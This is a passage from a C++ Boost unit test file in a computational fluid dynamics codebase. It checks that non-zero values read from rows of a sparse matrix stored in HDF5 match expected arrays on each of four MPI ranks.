=== getRowNNZValues ===\n// Test 1: Lookup Row Values - use different bases to test correct index lookup\nBOOST_AUTO_TEST_CASE(getRowNNZValues_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\t// Test Data - Base Index is 1\n\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\tint row;\n\n\t// ToDo: Get a rank to load row 2 since it has zero elements\n\n\tif(comm.rank == 0)\n\t{\n\t\t// Row 5\n\t\trow = 6;\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\t// Row 2\n\t\trow = 3;\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\t// Rows 0\n\t\trow = 1;\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\t// Row 6\n\t\trow = 7;\n\t}\n\n\tdouble * rowNNZ;\n\tint nRowNNZ;\n\n\tstatus = file.getRowNNZValues(row, &rowNNZ, &nRowNNZ);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tif(comm.rank == 0)\n\t{\n\t\tdouble nnzCmp[3] = {0.4, 0.1, 0.2};\n\t\tBOOST_CHECK_EQUAL(nRowNNZ, 3);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(nnzCmp, nnzCmp + 3, rowNNZ, rowNNZ + 3);\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tdouble nnzCmp[6] = {0.4, 0.1, 0.2, 0.3, 0.4, 0.1};\n\t\tBOOST_CHECK_EQUAL(nRowNNZ, 6);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(nnzCmp, nnzCmp + 6, rowNNZ, rowNNZ + 6);\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tdouble nnzCmp[3] = {0.1, 0.2, 0.3};\n\t\tBOOST_CHECK_EQUAL(nRowNNZ, 3);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(nnzCmp, nnzCmp + 3, rowNNZ, rowNNZ + 3);\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tdouble nnzCmp[4] = {0.3, 0.4, 0.1, 0.2};\n\t\tBOOST_CHECK_EQUAL(nRowNNZ, 4);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(nnzCmp, nnzCmp + 4, rowNNZ, rowNNZ + 4);\n\t}\n\n\tfree(rowNNZ);\n}\n\n// Finalize MPI\nBOOST_AUTO_TEST_CASE(cleanup)\n{\n    // Cleanup MPI Environment\n    MPI_Finalize();\n}\n", "meta": {"hexsha": "55bf010b1e3bf656e7baaef7bbfa3cec664b7c21", "size": 7803, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tests/data_structures/implementation/source/SparseMatrixSourceHDF5Tests.cpp", "max_stars_repo_name": "thorbenlouw/CUP-CFD", "max_stars_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3.0, "max_stars_repo_stars_event_min_datetime": "2021-06-24T10:20:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-18T14:43:19.000Z", "max_issues_repo_path": "tests/data_structures/implementation/source/SparseMatrixSourceHDF5Tests.cpp", "max_issues_repo_name": "thorbenlouw/CUP-CFD", "max_issues_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2021-07-22T15:31:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-28T14:27:28.000Z", "max_forks_repo_path": "tests/data_structures/implementation/source/SparseMatrixSourceHDF5Tests.cpp", "max_forks_repo_name": "thorbenlouw/CUP-CFD", "max_forks_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-07-22T15:24:24.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-22T15:24:24.000Z", "avg_line_length": 24.5377358491, "max_line_length": 80, "alphanum_fraction": 0.7085736255, "num_tokens": 2454, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.2043418950913969, "lm_q1q2_score": 0.10137275325723598}}
